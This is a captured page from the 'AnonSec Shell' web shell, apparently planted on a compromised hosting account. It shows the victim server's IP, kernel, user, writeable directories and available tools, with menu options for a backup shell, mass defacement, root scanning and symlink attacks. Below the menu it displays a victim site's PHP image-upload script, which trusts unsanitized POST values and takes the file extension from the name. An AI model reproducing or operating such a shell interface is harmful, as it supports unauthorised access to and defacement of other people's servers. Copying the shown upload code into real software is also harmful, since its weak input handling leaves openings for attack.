AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/prophecyadmin/control/backend/include-/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/prophecyadmin/control/backend/include-/upload_logo.php
<?php
include("../../../control/backend/include/setcalssajax.php");
/*echo '<pre>';
print_r($_POST);
echo '</pre>';

echo '<pre>';
print_r($_FILES);
echo '</pre>';*/

/*$filename = $_FILES["fileUpload"]["tmp_name"];
$new_images = "Thumbnails_".$_FILES["fileUpload"]["name"];
copy($_FILES["fileUpload"]["tmp_name"],"MyResize/".$_FILES["fileUpload"]["name"]);//../../../simded/redbag/file_manage/MyResize*/


$name = $_SESSION["img_upload_dome"];
//$filename = "../../../control/backend/include/redbag/".$name;
$filename = $uploadfile."imgdemo/".$name;
//$new_images = "Thumbnails_".$name;


$scale = round($_POST['scale'],2);
$angle = 360 - $_POST['angle'];
$x = $_POST['x'];
$y = $_POST['y'];
$w = $_POST['w'];
$h = $_POST['h'];

list($width, $height) = GetimageSize($filename);
$new_width = $width * $scale;
$new_height = $height * $scale;


$img_up_type = explode(".", $name);
$img_type = $img_up_type[1];
$file = substr(str_shuffle('abcdefghjkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6).".".$img_type;
$new_images = date("ymd").$file;



if($img_type == 'jpg' || $img_type == 'jpeg' )
{
	$image_p = ImageCreateTrueColor($new_width, $new_height);
	$image = ImageCreateFromJPEG($filename);
	ImageCopyResampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
	
	$image_s = ImageCreateTrueColor($w,$h);
	
	$image_p = Imagerotate($image_p, $angle * 1, 0);
	ImageCopyResampled($image_s, $image_p, 0, 0, $x, $y, $w, $h, $w,$h);
	ImageJPEG($image_s,$uploadfile."file_manage/".$new_images,100);
}
if($img_type == 'png')
{
	$image_p = ImageCreateTrueColor($new_width, $new_height);
	
	$background = Imagecolorallocatealpha($image_p, 255, 255, 255, 127);
	Imagecolortransparent($image_p, $background);
	Imagealphablending($image_p, false);
	Imagesavealpha($image_p, true);
	$image = Imagerotate($image, $angle * 1, 0);
	$image = ImageCreateFromPNG($filename);
	ImageCopyResampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
	
	$image_s = ImageCreateTrueColor($w,$h);
	
	$background = Imagecolorallocatealpha($image_s, 255, 255, 255, 127);
	Imagecolortransparent($image_s, $background);
	Imagealphablending($image_s, false);
	Imagesavealpha($image_s, true);
	$image_p = Imagerotate($image_p, $angle * 1, 0);
	ImageCopyResampled($image_s, $image_p, 0, 0, $x, $y, $w, $h, $w,$h);
	ImagePNG($image_s,$uploadfile."file_manage/".$new_images);
}



ImageDestroy($image);
ImageDestroy($image_s);
if($_POST['imagepath']=='profile')
{
	$list = array(	
		'table'=>'professor',
		'id'=>$id_shop,
		'image_profile'=>$new_images,
		'up_date'=>$date		
	);			  
	$edit = $actiondata_db->edit_db($list);
}
if($_POST['imagepath']=='cover')
{
	$list = array(	
		'table'=>'professor',
		'id'=>$id_shop,
		'image_cover'=>$new_images,
		'up_date'=>$date		
	);			  
	$edit = $actiondata_db->edit_db($list);
}

unset($_SESSION["img_upload_dome"]);
unset($_SESSION["upload_imagepath"]);

?>

Anon7 - 2022
AnonSec Team